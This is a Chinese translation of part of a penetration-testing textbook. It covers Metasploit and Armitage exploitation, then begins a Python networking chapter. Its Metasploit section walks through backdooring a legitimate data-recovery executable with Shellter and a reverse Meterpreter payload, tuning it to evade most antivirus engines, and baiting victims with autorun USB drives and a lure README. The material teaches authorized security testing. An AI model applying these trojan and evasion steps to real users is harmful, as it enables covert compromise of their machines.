使用cpmv命令将你的模块从工作文件夹移动到特定位置,并记得记下模块的文件名。现在,像往常一样启动msfconsole

Metasploit 框架加载需要几秒钟的时间,因为它正在检查所有模块,以确保它们都准备好,包括你的模块。如果没有看到任何语法错误并且 Metasploit 正常启动,恭喜你——你的新模块已经通过了!

Metasploit – 让生活更轻松

获得这类手动操作的经验对于理解和发展始终是有帮助的,但 Metasploit 确实允许我们在模块开发和自定义方面进行实时操作,使用editreload命令。你可以在 Metasploit 中编辑模块,然后使用reload命令使其在当前会话中生效。

当我们使用use命令来加载我们的模块时,我们是通过名称和文件夹结构来引用它的。在我们的例子中,模块叫做our_basic_HTTP.rb,所以我们使用auxiliary/server/our_basic_HTTP来调用它。设置好你需要的选项后,输入exploit,你应该能看到类似下面的截图:

图 7.5 – 在 Metasploit 控制台运行我们的模块

图 7.5 – 在 Metasploit 控制台运行我们的模块

查看今天的 SSL 世界中所提供的灵活性:你可以使用自定义证书来协商 SSL,这在你模拟设备时可能会派上用场。

此时,我们已经从战术层面看过了 Metasploit。现在,让我们从更高的战略层面来看待它。

Armitage 的效率和攻击组织

如果不提 Armitage,我们不能算真正讨论 Metasploit。Armitage 是 Metasploit 的一个图形化前端环境,具有几个巨大的优势:

  • Armitage 提高了工作效率。通过点击一次即可执行一系列动作,许多繁琐的控制台操作得到了简化,很多任务可以自动化完成。用户界面环境也让组织工作变得轻松。

  • Armitage 作为团队服务器在单台机器上运行,使其可以从网络上的其他 Armitage 客户端进行访问,这将 Metasploit 框架转变为一个完整的红队攻击平台。你甚至可以编写自己的基于 Cortana 的红队机器人脚本。即使是一个熟练的个人,借助 Armitage 作为 Metasploit 的界面,也能变得极其可怕。

我们将在后期利用 Armitage 进行后渗透测试,届时它的强大功能会得以展现。现在,让我们先来看看如何让我们的 Metasploit 任务更加项目化。

熟悉你的 Armitage 环境

我们的第一个任务是安装 Armitage。幸运的是,它在软件库中,所以只需使用apt-get install armitage命令即可。安装完成后,运行msfdb init命令来初始化数据库。最后,使用armitage命令启动它。

首先出现的是登录 Armitage 团队服务器的提示。默认设置足以满足本地运行的需求,但如果你是作为红队的一部分,这里是输入团队服务器详细信息的地方。幸运的是,Armitage 对我们这些新手非常友好,如果我们还没有启动 Metasploit RPC 服务器,它会自动提供启动选项,如下图所示:

图 7.6 – Armitage 提供启动 RPC 服务的选项

图 7.6 – Armitage 提供启动 RPC 服务的选项

Metasploit 的提示符可能让人觉得有点居高临下,但嘿,我们不能把这些事情看得太个人化。

你将会在三个主要窗口中工作——模块目标标签视图。正如你所看到的,模块树以友好的下拉文件夹格式呈现,底部还有一个搜索框。目标窗口位于右上角,当你开始工作时,目标会在此窗口中显示。底部是标签,你通常在msf提示符下看到的所有内容都在这里通过对应每个任务的标签呈现;你还可以看到诸如目标上列举的服务等信息。

记住,Armitage 不过是 Metasploit 的前端——它能做的,Metasploit 也能做。Armitage 本质上完成了所有的输入工作,同时为你提供专业级的攻击组织。当然,你始终可以在控制台窗口中输入任何命令,就像在 Metasploit 中一样。

顶部的下拉菜单栏功能强大,包括作为枚举目标的起始点。让我们来看看。

使用 Armitage 进行枚举

导航到主机 | Nmap 扫描 | 快速扫描(操作系统检测)。输入扫描范围,我们在这里输入的是192.168.108.0/24。注意一个名为nmap的新控制台标签会弹出,然后你可以坐下来放松了。你不会看到太多变化,直到扫描报告完成,目标窗口会填充,并且检测到的操作系统会被显示,正如下面的截图所示:

图 7.7 – 使用 Armitage 进行侦察

图 7.7 – 使用 Armitage 进行侦察

现在,你可以对单个目标进行更彻底的扫描,并查看服务枚举的结果。右键点击一个主机并选择服务,一个新标签会弹出,显示一个表格,这实际上是一个更美观的方式来查看 Nmap 版本的扫描输出。

现在,是时候谈谈桌面上的大象——图形化目标视图了。它看起来很漂亮,适合做一个好莱坞黑客电影演示给朋友们,但在大规模和忙碌的环境中并不实际。幸运的是,你可以导航到Armitage** | 设置目标视图并选择表格视图**来进行更改。

使用 Armitage,漏洞利用变得异常简单

接下来是 Armitage 可以为你节省大量时间的部分——理解攻击面并准备潜在的攻击。虽然你可能习惯了更手动的流程,但这次我们将在顶部菜单栏中选择攻击,然后点击查找攻击。你会看到进度条短暂出现,然后弹出一条祝你好运的消息。就这样。那么,发生了什么呢?嗯,Armitage 获取了主机和服务的枚举数据,并自动扫描整个漏洞模块树以寻找匹配项。右键点击一个主机并选择攻击。对于每个检测到匹配的服务,会有另一个下拉菜单列出可能起作用的漏洞。我们说是可能的,因为这是一个非常粗略的服务数据和漏洞选项匹配,你的作业并没有完成。你可能喜欢点击随机漏洞看看在实验室里会发生什么,但在真实世界中,你只是白白制造噪音而已。

检查利用是否适用的一种方法是使用恰如其名的check命令,按照以下步骤操作:

  1. msfconsole中,我们可以在加载的模块提示符下启动此命令;在 Armitage 中,我们可以通过前往同样的下拉菜单,列出已找到的漏洞,滚动到列表底部并选择漏洞,完成相同的操作。观察Tab窗口在每个模块自动加载时生动起来,check命令也会被执行。请记住,单个模块必须支持check命令,因为并非所有模块都支持。

  2. 当你从列表中选择一个利用时,弹出的窗口与从 Modules 窗口加载任何利用时看到的窗口相同。唯一的区别是,选项会根据你的目标自动配置,如下图所示:

图 7.8 – 浏览我们获取的攻击

图 7.8 – 浏览我们获取的攻击

  1. 点击 Launch 以在后台启动攻击,这样你可以在等待连接返回时继续工作(如果你是这样配置的话)。

记住,Armitage 喜欢让事情看起来像好莱坞大片,因此,如果你的目标被攻陷,图标会变成一个非常不祥的闪电符号。

  1. 再次右键点击目标,你会看到一个新的选项——Shell。你可以与它交互,并从立足点继续前进,如下所示:

图 7.9 – 被攻陷的 Linux 主机

图 7.9 – 被攻陷的 Linux 主机

所有这些自动化功能对于该领域的专业人士来说非常棒,但我们应该小心不要失去与黑客思维方式的联系,正是这种思维方式让这一切成为可能。

关于 Armitage 和渗透测试人员心态的一些话

每次开车时,我都会注意到一个在新车中非常常见的功能——侧后视镜上的盲区警示灯。它亮起时提醒驾驶员有车辆进入盲区。总的来说,我支持通过先进的技术让我们的生活更轻松,我相信这个功能是有用的。然而,我担心一些驾驶员可能会停止保持警觉,如果他们过于依赖这种技术的话。我想知道,驾驶员是否已经停止转头查看盲区。

盲区问题与 Armitage 和渗透测试的关系在于,它有点像一种新技术,它为我们开车,而我们不需要了解任何关于驾驶的知识。Metasploit 已经是自动化安全测试的一种革命性方式,而 Armitage 进一步自动化了它。在 Metasploit 存在之前,甚至在 1990 年代,大多数我们今天理所当然认为的任务都是手动完成的。当工具可用时,我们必须手动关联输出,以便开发出进行任何攻击所需的理解,而这已经是在真正的先驱者们开发出我们所需的所有知识之后的几年了。大多数现代工具允许我们在非常严格的时间框架内完成更多的工作,使我们能够专注于分析,从而为客户带来价值。然而,我们也必须应对“脚本小子”的崛起,以及一些缺乏经验但充满热情的新人,他们下载 Kali Linux,毫无顾忌地发起攻击。尽管有一些抱怨,但这些工具确实有其存在的价值,只要它们是用来改善我们的生活,而不是取代基本的常识。

有鉴于此,建议你了解幕后发生的事情。回顾代码,分析网络中的数据包,不仅研究攻击和利用的细节,还要了解受影响技术的设计意图,阅读 RFC 文档,并尝试在没有工具的情况下完成任务——或者更好的是,编写一个更好的工具。这是一个极好的机会来提升自己。

接下来,我们将通过一个恶意 USB 驱动器来发起社会工程攻击。一旦将驱动器插入 Windows 机器,我们将拥有一个 Meterpreter 会话,并能够控制目标。

带有 Metasploit 有效载荷的社会工程攻击

让我们通过将两个主题结合起来结束本章——将后门注入合法可执行文件,并使用 Metasploit 作为有效载荷生成器和处理器。我们将使用 Shellter 和嵌套的 Meterpreter 有效载荷来创建一个恶意的 AutoRun USB 驱动器。尽管 AutoRun 默认情况下通常未启用,但你可能会发现它在某些企业环境中已启用。即使 AutoRun 没有自动执行,我们也将处理一个可执行文件,该文件可能通过创建一种有已删除数据可以恢复的印象,诱使用户执行它。

使用 Shellter 创建木马

按照以下步骤使用 Shellter 创建一个木马:

  1. 第一步也是最繁琐的一步是找到合适的可执行文件。这很棘手,因为 Shellter 有一些限制——可执行文件必须是 32 位的,不能是打包过的可执行文件,并且需要与我们的有效载荷兼容。我们无法在感染文件并尝试运行之前确定某个可执行文件是否有效。经过一番寻找,我们发现了一个大约 400 多 KB 的数据恢复工具,名为DataRecovery.exe。这个工具不需要安装,也没有任何依赖项。

  2. 在确认恢复工具是 32 位并且干净后,将它放到你的根文件夹中,以便稍后使用。首先,我们要使用msfvenom创建一个嵌套的有效载荷。我们不必做这部分,但我们尝试给攻击增加一些炫酷的效果。使用以下命令行来执行此操作:

    msfvenom --arch x86 --platform windows --payload windows/messagebox ICON=WARNING TITLE="数据恢复" TEXT="检测到可恢复的已删除文件。" --format raw > message

  3. 现在我们应该在根文件夹中有两个文件:可执行文件和一个名为message的 268 字节二进制文件。现在,通过向提示输入Y来启动 Shellter 的隐匿模式。这需要我们按照本章前面提到的相同过程,直到我们需要指定自定义有效载荷,如下图所示:

图 7.10 – 指定自定义有效载荷

图 7.10 – 指定自定义有效载荷

现在,Shellter 将生成 DataRecovery.exe;一个快速的 sha1sum 命令很快就能确认二进制文件已经被修改。此时,我们拥有了一个合法的数据恢复工具,它会显示一个消息框。接下来,是时候让它为我们服务了。

  1. 现在我们有了嵌套的有效载荷,我们只需再次通过 Shellter 发送新的二进制文件。不过,这次我们必须在包含的有效载荷列表中选择编号为 1 的阶段 – 反向 TCP Meterpreter 有效载荷。现在,我们有了一个完整的 Trojan,准备启动。这个程序是一个合法的数据恢复工具,它会弹出一个提示框,警告用户检测到已删除的数据。同时,Meterpreter 有效载荷已经与我们的处理程序建立连接,并给予了我们控制权,如下图所示:

图 7.11 – 注入消息框有效载荷后的 Trojan,准备连接回代码

图 7.11 – 注入消息框有效载荷后的 Trojan,准备连接回代码

注意

配置处理程序时,始终将 EXITFUNC 设置为线程。如果不这样做,Meterpreter 会话在 Trojan 结束时会崩溃!

顺便提一下,我们通过这个手法提高了隐蔽性 – 现在,我们能避开 75% 的杀毒软件厂商,如下图所示:

图 7.12 – 通过调整策略提高我们的隐蔽性

图 7.12 – 通过调整策略提高我们的隐蔽性

这是一个典型例子,说明了微调在抗病毒逃避艺术中的重要作用。这个可执行文件发生了什么变化,使其看起来比上次更好?是通过 Shellter 的双重处理,还是使用了自定义的无害有效载荷?抗病毒检测有很多变量,很难说清楚,但请记住,在部署你的作品之前,你可能需要在实验室里多做一些测试。根据我的经验,通常我需要尝试几种不同的技巧,才能突破目标的防御。

为 Trojan 交付准备恶意 USB 驱动器

剩下的只有两个步骤 – 一个是技术性的(虽然非常简单),另一个纯粹是为了社会工程学的目的。让我们从技术步骤开始,即创建 autorun 文件:

  1. 这其实很简单,只需要创建一个名为 autorun.inf 的文本文件,指向我们的可执行文件。它必须以 [autorun] 开头,文件中打开的程序由 open= 指定。微软定义了其他的 AutoRun 命令,但 open= 是我们需要的唯一命令。你还可以添加 icon= 命令,这将使驱动器显示为可执行文件的图标(或任何你定义的图标),如图所示:

图 7.13 – 输入 AutoRun 文件

图 7.13 – 输入 AutoRun 文件

  1. 现在,到了社会工程部分。如果 AutoRun 不起作用怎么办?毕竟,现在很多系统都禁用了它。记住,如果有人愿意插入我们的驱动器,他们会看到文件。为了暗示运行DataRecovery.exe值得冒险,我们将添加一个诱人的README文件。这个文件会让它看起来像是删除的文件可以恢复。好奇心是很多人的软肋。看看以下截图:

图 7.14 – 输入我们的心理学 README

图 7.14 – 输入我们的心理学 README

你可能知道不要轻易上当,但想象一下在客户的公共区域散布 100 个 USB 驱动器。你不觉得会有反应吗?你只需要它工作一次 —— 这是对客户的宝贵教训。

总结

在本章中,我们学习了更多高级的 Metasploit 使用方法。我们通过使用 Metasploit 框架之外的工具——Shellter,将有效载荷生成技能提升到了一个新水平,利用 Metasploit 有效载荷。我们还探索了msfvenom的功能,今天它将以前的 Metasploit 有效载荷和编码器工具结合起来。接着在了解了有效载荷之后,我们学习了如何使用 Ruby 构建自定义模块,并使其在 Metasploit 中运行。然后,我们检查了如何通过 Armitage 前端 GUI 使 Metasploit 变得高度组织化和高效。我们还演示了如何在 Armitage 中枚举和利用目标。最后,我们学习了如何利用 Metasploit 有效载荷来构建强大的社会工程攻击。秉承真正的黑客精神,下一章将带领我们更深入地了解处理器如何看待我们的代码片段。

问题

回答以下问题以测试你对本章内容的掌握:

  1. 有哪三种类型的有效载荷?

  2. __________ 是一个常见的十六进制字节,它会破坏我们有效载荷的执行。

  3. 应该使用哪个msfvenom标志来指定有效载荷在 x86 指令集架构上运行?

  4. 在 Ruby 中,def定义一个 _______。

  5. print_good()print_status()有什么区别?

  6. Armitage 中只有一个目标视图。(正确 | 错误)

  7. 当你发送 Shellter 隐身模式的有效载荷时,______ 应该始终设置为 ______,当你为windows/meterpreter/reverse_tcp配置选项时。

  8. 所有现代 Windows 主机默认启用 AutoRun。(正确 | 错误)

深入阅读

有关本章所涉及的主题的更多信息,请查看以下资源:

第二部分:漏洞基础

在本节中,你将首先探索 Python 和 PowerShell 脚本语言的渗透测试基础,然后进入为期三章的 Shell 编码研究。本部分将覆盖堆栈操作的基础以及这些技术如何随着防御措施的演进而发展。本研究的最后部分将分析现代的杀毒软件绕过技术。最后,我们将审视 Windows 内核漏洞基础和利用研究,采用模糊测试方法。

本书的这一部分包括以下章节:

  • 第八章Python 基础

  • 第九章PowerShell 基础

  • 第十章Shell 编码 – 堆栈

  • 第十一章Shell 编码 – 绕过防护

  • 第十二章Shell 编码 – 绕过杀毒软件

  • 第十三章Windows 内核安全

  • 第十四章模糊测试技术

第八章:Python 基础

传说计算机其实非常笨拙;它们只是在进行数字计算和在内存中移动东西。尽管这一说法有些过于简化,但它们如何“思考”仍然显得神秘莫测。没有比编程更好的方式来了解计算机实际如何思考了。本书的其他地方,我们将看到不同层次的编程语言——汇编语言,最底层的机器代码,由助记符操作码opcode)构成;C 语言,最基础的高级语言;甚至 Python,作为一种高级解释型语言。Python 拥有庞大的标准库模块,可以帮助渗透测试员pen tester)完成几乎所有任务。在第二章绕过网络访问控制中,我们展示了如何在自己的 Python 脚本中使用 Scapy 的功能,将特制的数据包注入网络。作为渗透测试员,我们可以通过学习如何在自己的自定义程序中利用这些功能来进一步提升自己的技能。本章将回顾如何在安全评估的背景下使用 Python,我们将讨论以下主题:

  • 将 Python 融入你的工作

  • 在 Python 环境下介绍 Vim

  • 使用 Python 模块进行网络分析

  • 在 Python 中进行反恶意软件逃逸

  • Python 和 Scapy——一对经典搭档

技术要求

要完成本章的练习,你将需要以下内容:

  • Kali Linux

  • 安装了 Python 的 Windows 主机

  • Pip 安装 Pythonpip)和 PyInstaller 在 Windows 上的安装(Python 安装的一部分)

将 Python 融入你的工作

许多人问过我:做渗透测试员需要是程序员吗? 这是一个会引发各种激烈争论的问题,纯粹主义者们会给出不同的回答。有些人说,如果没有成为一名熟练的程序员,就不能算真正的黑客。我的观点是,黑客的定义与具体技能关系不大,而更关乎理解力和心态;黑客是一种解决问题的个性和生活方式。话虽如此,我们得承认——如果没有一定的编程和脚本知识,进步将会受到阻碍。做渗透测试员就像是一个万事通,我们需要接触多种语言,而不是专注于一种语言的开发者。如果要在编程与渗透测试这方面选择一个最低要求,我会建议你学习一门脚本语言。如果只能选一门脚本语言来作为安全从业人员的入门,我会选择 Python。

编程语言和脚本语言有什么区别?为了明确起见,脚本语言也是一种编程语言,它们之间的区别在于从编码到执行之间所采取的步骤。脚本语言不需要编译步骤;脚本在执行时按指令进行解释——因此,这类语言的正确术语应该是解释型语言。C 语言是传统编程语言的一个例子,它在执行之前需要编译。然而,这些界限正变得越来越模糊。例如,完全可以有一个 C 解释器的存在,使用它可以让你编写 C 脚本。

为什么选择 Python?

Python 是一个理想的选择,原因有很多,但它的设计哲学中的两个元素使其特别适合我们的目标——成为一个高级渗透测试人员——它的强大(它最初设计是为了吸引 Unix/C 黑客)和它对可读性与可重用性的强调。作为专业人士,你将和其他人一起工作(不要指望在这个领域能够像黑帽孤狼那样独自作战);Python 是少数几种语言之一,与你的同事分享你得心应手的工具,很可能不会收到后续的你到底在想什么?邮件来了解你的构建思路。

也许最重要的一点是,Python 是你可能会在客户网络外围后面发现的目标之一。你已经通过某种方式进入了网络,发现自己处于一个丰富的内部网络中,但你登陆的主机上没有你需要的工具。令人惊讶的是,你会发现 Python 在这样的环境中已经安装得相当普遍。更重要的是,你总能在任何被攻陷的 Linux 主机上找到一个 Python-aware 的文本编辑器。接下来我们将讨论编辑器。

Python 中的一个核心概念使其成为黑客首选的编程语言,那就是模块。模块是一个简单的概念,但对于 Python 程序员来说却具有强大的影响力。模块不过是一个包含 Python 代码的文件,其功能可以通过import语句引入到你的代码中。通过这个功能,模块的所有属性(或者说是某个特定属性)都可以在你的代码中被引用。你也可以使用from [module] import来挑选并引入你需要的属性。全球有许多聪明的人编写了大量的模块,随时准备供你放入import搜索路径中,这样你就能引入任何你想要的属性来在代码中完成某些工作。最终结果?一块紧凑且高度可读的 Python 代码,能够完成一些非常棒的事情。

在写本章时,Python 3 是最新最强大的版本,任何仍然在生产环境中使用 Python 2 的人,都被强烈鼓励熟悉 Python 3。一个实用的 Python 工具 2to3 可以将你的 Python 2 代码转换为 Python 3。我们将在第十二章Shellcoding - Evading Antivirus 中探讨如何配置全局安装以实现向后兼容性。既然我们已经熟悉了基础知识,那么让我们熟悉一下 Kali 中的 Python 编辑器吧。

在 Kali 环境中舒适地使用 Python

在 Python 开发过程中,你将使用两个主要组件——交互式解释器和编辑器。你可以通过以下简单命令调用解释器:

python3

解释器正如其名称所示——它会即时解释 Python 代码。当你在编写代码时,这能够节省大量时间,因为你可以——例如——检查你的公式,而无需关闭编辑器并运行代码,寻找相关行。

在这个示例中,我们输入了 print("Hello, world!"),解释器简单地打印了这个字符串。我随后尝试了一个公式,并玩弄了 int() 函数来将结果四舍五入到最接近的整数。因此,我在没有编写和运行代码的情况下,实验了我的公式,并了解了一些关于 Python 的知识:

图 8.1 – 在 Kali 中玩转 Python 3

图 8.1 – 在 Kali 中玩转 Python 3

对于大多数 Python 开发者来说,使用两个屏幕同时打开——一个是解释器,另一个是编辑器——这并不是什么惊讶的事。解释器是 Python 安装的一部分;你输入 python3 并按下 回车 键时,所得到的就是人们将要使用的解释器。而编辑器则可以根据个人喜好选择——再次强调,这个领域的观点通常会非常激烈!

编辑器只是一个文本编辑器;从技术上讲,Python 文件也是文本。我可以用 Windows 记事本写 Python 脚本,它也能正常工作——但我并不推荐这么做(告诉别人你就是这么写代码的,那一定会引来奇怪的目光)。如果它只是一个文本编辑器,那又有什么大不了的呢?你在选择编辑器时最重要的特性是语法意识——编辑器能够理解你正在输入的语言,并以独特的方式展示语法。它将原本只是 Python 的文本,变成一个活生生的代码片段,让你的生活变得更加轻松。

哪怕是最小的错误——例如忘记了一个闭合的引号——都会在编辑器试图理解你的语法时突出得像一个明显的伤口。市面上有几款很好的语法感知编辑器;一些流行的包括 Notepad++、gedit、nano、Kate 和 Vim。现在,更为严谨的开发者可能会使用集成开发环境IDE),它是一个更全面的解决方案,帮助你理解代码的执行,并协助编写代码。IDE 可能有调试器和类浏览器等功能,而编辑器则没有。市面上有很多 IDE 可供选择,大多数都是免费的,且有商业版,支持各种操作系统;其中一些好的 IDE 包括Wing IDEPyCharm

IDE 很酷,但请注意,我们在这里的目的并不是使用它。建议你熟悉你最喜欢的 IDE,但我们的目标是追求简约和灵活性。拥有一个舒适的 IDE 设置是你在专用机器上使用的东西,这对于编写一个新的工具集并在你的任务中携带会非常棒。而我们这里讨论的背景是,在一个基本的机器上编写 Python 脚本,在这种情况下,使用你最喜欢的 IDE 可能不太实际。能够仅靠一个普通的 Python 安装加上一个编辑器就能应付,远比学习一个 IDE 更为重要,所以我鼓励你在这本书外掌握一个 IDE。现在,我们将继续使用一个几乎任何 Linux 机器上都能启动的编辑器,并且应该能够原生理解 Python 语法。我选择的编辑器可能会让一些读者直接把这本书当火把烧掉,而其他读者则会为此欢呼。没错——我要使用 Vim。

介绍具有 Python 语法感知的 Vim

要了解 Vim 作为编辑器的声名狼藉,只需在你最喜欢的搜索引擎中输入:如何退出 Vim?

Vim 代表Vi IMproved,因为它是原始 vi 编辑器的克隆,但做了一些被称为改进的变化。公平地说,这些确实是改进,而且它有很多——我们这里不会一一讲解。但有一个关键的改进——它对脚本语言(如 Python)的原生支持。另一个改进对于那些还没准备好适应 Vim 那种“坐在航天飞机驾驶舱”的感觉的人来说非常实用:Vim 的图形界面版本,称为 gVim。图形版本本质上还是 Vim,所以可以随意尝试。

我或许应该提一下 Emacs 和 vi/Vim 之间那场漫长且血腥的编辑器战争。我选择 Vim 作为本章的工具并不是对这场战争的表态。我更倾向于将其作为一个快速且轻量的工具,在这里,我们的主要关注点是带有 Python 语法区分的文本编辑。对 Emacs 的最喜欢的描述是它是一个操作系统内的操作系统——我认为它对于我们在这里的需求来说有点过于复杂。我鼓励读者在本章之外也尝试使用这两者。

使用这个简单的命令启动 Vim:

vim

你会看到一个编辑器启动屏幕,告诉你如何快速进入帮助文件,如下所示:

图 8.2 – Vim 启动屏幕

图 8.2 – Vim 启动屏幕

当你在 Vim 中打开任何文档(或开始一个新会话)时,你是在浏览文件,而不是编辑。要真正输入文档内容,我们称之为 插入模式,可以通过按 i 键启用。你会在屏幕底部看到 INSERT 字样。使用 Esc 键退出插入模式。向 Vim 输入命令时,用冒号(:)加上具体的命令——例如,退出 Vim 就是输入 :q 后按 Enter。暂时不用担心太多细节,我们在编写脚本时会一步一步讲解基础操作。

在我们编写第一个有用的 Python 脚本之前,先开启语法高亮并编写一个简单的 hello_world 程序。在 Kali 中,Vim 已经能够识别 Python 语法;我们只需要告诉 Vim 我们正在处理特定类型的文件。首先,输入 vim 和文件名,然后按 : 进入命令模式,如下所示:

vim hello_world.py

然后,输入以下命令并按 Enter

:set filetype=python

当你准备好时,按 i 键进入插入模式。当你输入 Python 脚本时,语法会自动高亮显示。写下你的 Hello, World 脚本,像这样:

print("Hello, World!")

Esc 退出插入模式。然后,使用 :wq! 保存更改并一键退出 Vim。

运行你的程序,惊叹于你的杰作吧。它就是这样:

图 8.3 – Python 中的 Hello, World!

图 8.3 – Python 中的 Hello, World!

好了,别再浪费时间了。让我们开始做一些网络编程吧。

使用 Python 模块进行网络分析

使用正确的模块的 Python 脚本可以成为一个成熟和强大的网络技术员。Python 在你能想到的每一个抽象层面都有它的位置。你只需要一个快速而粗糙的服务作为一些任务的前端,比如下载文件?Python 来帮忙。你需要深入了解低级协议,通过条件逻辑嵌套脚本化特定数据包操作,与第 3 层的网络交流,甚至下到数据链路层?Python 让这一切变得有趣而容易。最棒的部分是你可以想象到的任何项目的可移植性;正如我提到的,你将作为一个渗透测试人员在一个团队中工作,很少有你会独自工作的情况。即使你是一个独行侠项目,白帽黑客都会通知客户,没有商业机密或魔术师的代码,所以你可能会被要求用可理解的术语解释坏人如何逃脱你的胜利。向某人发送一些代码——无论是熟练的同事还是代表你客户的知识渊博的管理员——当概念验证POC)需要环境依赖和长时间的实验室组装时,这可能会对接收者提出一些要求。另一方面,Python 脚本则非常易于使用。你可能需要提供的最多是并未包含在庞大的 Python 社区中的特殊模块。Python 在网络编程方面表现突出,考虑到网络任务在任何评估中的重要性,这是合适的。

网络编程的 Python 模块

我们有趣的小hello_world程序只需要 Python 来解释你复杂的代码。然而,你毫无疑问已经意识到,hello_world对于渗透测试人员来说并不太有用。首先,它只是展示一个过度使用的陈词滥调。但即使它更方便,也没有导入。就功能而言,你看到的就是你得到的。真正释放 Python 的能力是当我们用模块展示能力时。如果我要猜测你最常使用的任务类型,我会猜测是网络编程。

Python 程序员有很多选项可以让他们的脚本与网络进行交互。理解模块的关键是通过层级或级别来组织它们。低层模块给你最大的控制权,但它们可能难以正确使用;高级模块通过在幕后处理低级构造,让你编写更具 Python 风格的代码。任何在更高抽象层次上工作的东西,都可以通过低层代码实现,但通常需要更多的代码行。以socket模块为例,socket是一个低级网络模块:它暴露了伯克利软件分发BSD套接字应用程序接口(API)。通过导入socket并配合正确的代码,你的 Python 程序几乎可以在网络上做任何事情。如果你是那种有雄心的人,想用 Python 的魔力替代——比如——网络映射器Nmap),那么我敢打赌你代码的第一行就是import socket。在高级层面上,你有像requests这样的模块,它允许你进行直观的超文本传输协议HTTP)交互。只需一行代码,导入requests就能把整个网页转换为一个可以操作的 Python 对象。不错吧。

记住——任何在高级别上工作的东西都可以通过低级别代码和模块来构建;你不能用高级模块来完成低级任务。所以,让我们举个例子。在渗透测试中使用 Python 将大量依赖于socket,因此让我们快速构建一个简单粗暴的客户端。仅用 11 行代码,我们就可以连接并与服务进行交互,并存储其响应。

记住,socket作为低级模块,会调用操作系统的套接字 API。这可能会使你的脚本依赖于平台!现在,让我们开始构建我们的客户端骨架。

构建 Python 客户端

在我们的示例中,我已经在我的实验室中通过标准端口80设置了一个 HTTP 服务器,IP 地址为192.168.108.229。我正在编写一个客户端,它将与目标 IP 地址和端口建立 TCP 连接,发送一个特定格式的请求,接收最多 4,096 字节的响应,将其存储在本地变量中,然后简单地将该变量显示给用户。我将其余部分留给你自己想象,看看你能从这里出发去做些什么。

在本章的例子中,你会看到的第一行是#!/usr/bin/python3。回想一下我们在书中早些时候使用 Python 脚本的部分,你会记得我们用chmod命令让脚本在 Linux 中可执行,然后使用./执行它(这告诉操作系统可执行文件位于当前目录,而不是在用户的$PATH中)。#!被称为 shebang(没错,我是认真的),它告诉脚本在哪里找到解释器。通过包含这一行,你可以将脚本视为可执行文件,因为解释器可以通过你的 shebang 行找到:

图 8.4 – 最基本的客户端

图 8.4 – 最基本的客户端

让我们逐步查看这段简单的代码:

  • 使用webhostwebport,我们定义了目标的 IP 地址和端口。在我们的例子中,我们在脚本中定义它们,但你也可以从用户那里获取输入。

  • 我们已经熟悉了print(),但在这个例子中,我们可以看到变量是如何在打印文本中显示的。请记住,IP 地址是字符串,端口是普通整数:看看我们是如何分配webport的,而没有使用单引号。我们将使用星号(*****)让 Python 解包我们的序列,而print()会为我们处理类型转换。

  • 现在是有趣的部分。调用socket.socket()创建一个你选择的 Python 对象;它看起来像一个变量,并且是创建的套接字的 Python 表示。在我们的例子中,我们创建了一个名为webclient的套接字。从现在起,我们使用webclient来操作这个套接字。由于套接字是低级别的,我们需要告诉它我们使用的是哪种地址族,因为 Unix 系统可以支持多种地址族。这时,AF_INET就派上用场了:AF表示地址族,INET表示IP version 4IPv4)。(AF_INET6适用于 IPv6,当你需要更复杂的操作时可以使用。) SOCK_STREAM表示我们使用的是流套接字,而不是数据报套接字。简单来说,流套接字用于进行有明确约定的 TCP 会话,而数据报则是“发了就算”的类型。AF_INETSOCK_STREAM的组合是你几乎每次都会使用的。

  • 现在,我们通过用句点分隔对象名称和任务来操作我们的套接字。如你所料,你可以设置一堆具有唯一名称的sockets,并通过它们管理代码中的连接。webclient.connect()建立与目标 IP 和端口的 TCP 连接。接着使用webclient.send()将数据发送到已建立的连接。请记住,send()需要将其参数作为字节传递,因此简单的字符串不起作用——我们在字符串前加上b来实现这一点。

  • 就像在任何健康的关系中一样,我们发送一个友好的消息,并期望得到回应。webclient.recv() 为这个回应准备了一些空间;它接受的参数是这个准备空间的大小,且准备空间被命名,使其成为我们代码中的一个对象——在这个例子中,我称它为枯燥但合逻辑的reply

我们通过显示reply对象——与被联系服务器的响应——来结束,但你可以对回复做任何你想做的事情。此外,请注意,脚本到此为止,因此我们没有看到使用sockets的影响——它们通常是短暂存在的实体,专门用于短暂的对话,因此此时套接字将被拆除。在处理sockets时请记住这一点。

构建一个 Python 服务器

现在,我们将设置一个简单的服务器。我说的是简单服务器,这可能会让你想象成只是具有基本功能的 HTTP 服务器——不,我指的是真正简单的。这将仅仅监听连接,并在接收到数据后采取行动。让我们看看这里的代码:

图 8.5 – 基础服务器

图 8.5 – 基础服务器

请注意,我引入了一个新模块:threading。这个模块本身是一个用于与thread模块(在 Python 3 中称为_thread)进行接口的高级模块。如果你想构建线程接口,我建议你只导入threading。我知道有人会问:什么是线程? 线程只是编程中我们都熟悉的一个花哨的术语:特定的函数调用或任务。当我们学习编程时,我们一次处理一个函数调用,以便理解它们的结构和功能。线程的概念在我们工作中有一些需要稍等的任务时就会派上用场——例如,等待某人连接,或者等待某人向我们发送数据。如果我们在运行一个服务,我们在等待处理连接。但如果每个人都去睡觉了呢?我可能在一秒内就收到连接,或者也许在几天的等待后才幸运地看到一次连接。后者是我们黑客潜伏时常见的场景:我们设置了一个陷阱,只需要目标点击链接或执行某个负载。线程允许我们一次管理多个任务——线程。让我们通过下面的简单服务器脚本来看它是如何工作的:

  • 我们从声明 IP 地址和端口号开始,这些将在此用于设置本地监听器。然后我们创建一个名为server的套接字,并将其定义为带有 IPv4 地址的流套接字。

  • 现在,我们使用server.bind()将套接字绑定到本地端口。请注意,IP 地址已经声明,但我们设置为0.0.0.0。从网络角度来看,如果一个数据包到达我们的套接字,那么它已经被正确地路由,并且源主机已经正确地定义了我们的 IP 地址。这意味着,如果我们的系统有多个接口并且有多个 IP 地址,这个监听器对于任何能与我们接口通信的客户端来说都是可达的!

  • 绑定并不会告诉套接字绑定后要做什么。因此,我们使用server.listen()打开该端口;一个传入的同步SYN)数据包会自动被处理为SYN-acknowledgeSYN-ACK)以及最终的 ACK。传递给listen的参数是最大连接数。我们随便设置了4;你的需求可能不同。通过print,用户会得到提示,表示我们已经启动并运行。

  • 我们尝试过“解包我的序列”方法来将文本打印到屏幕;在这里,我们将做一些不同的事情。使用百分号符号(%),我们可以放置小的占位符来处理不同的数据类型。使用d表示十进制;s表示字符串。

  • 现在进入一些更疯狂的操作——定义一个connect函数。这个函数是我们的客户端连接处理器调用的;也就是说,connect函数并不直接处理连接,而是决定在连接建立后做什么。代码不言自明:它为接收的数据预留了一个千字节KB)的空间,并称之为received,然后回复一条消息,最后关闭连接。

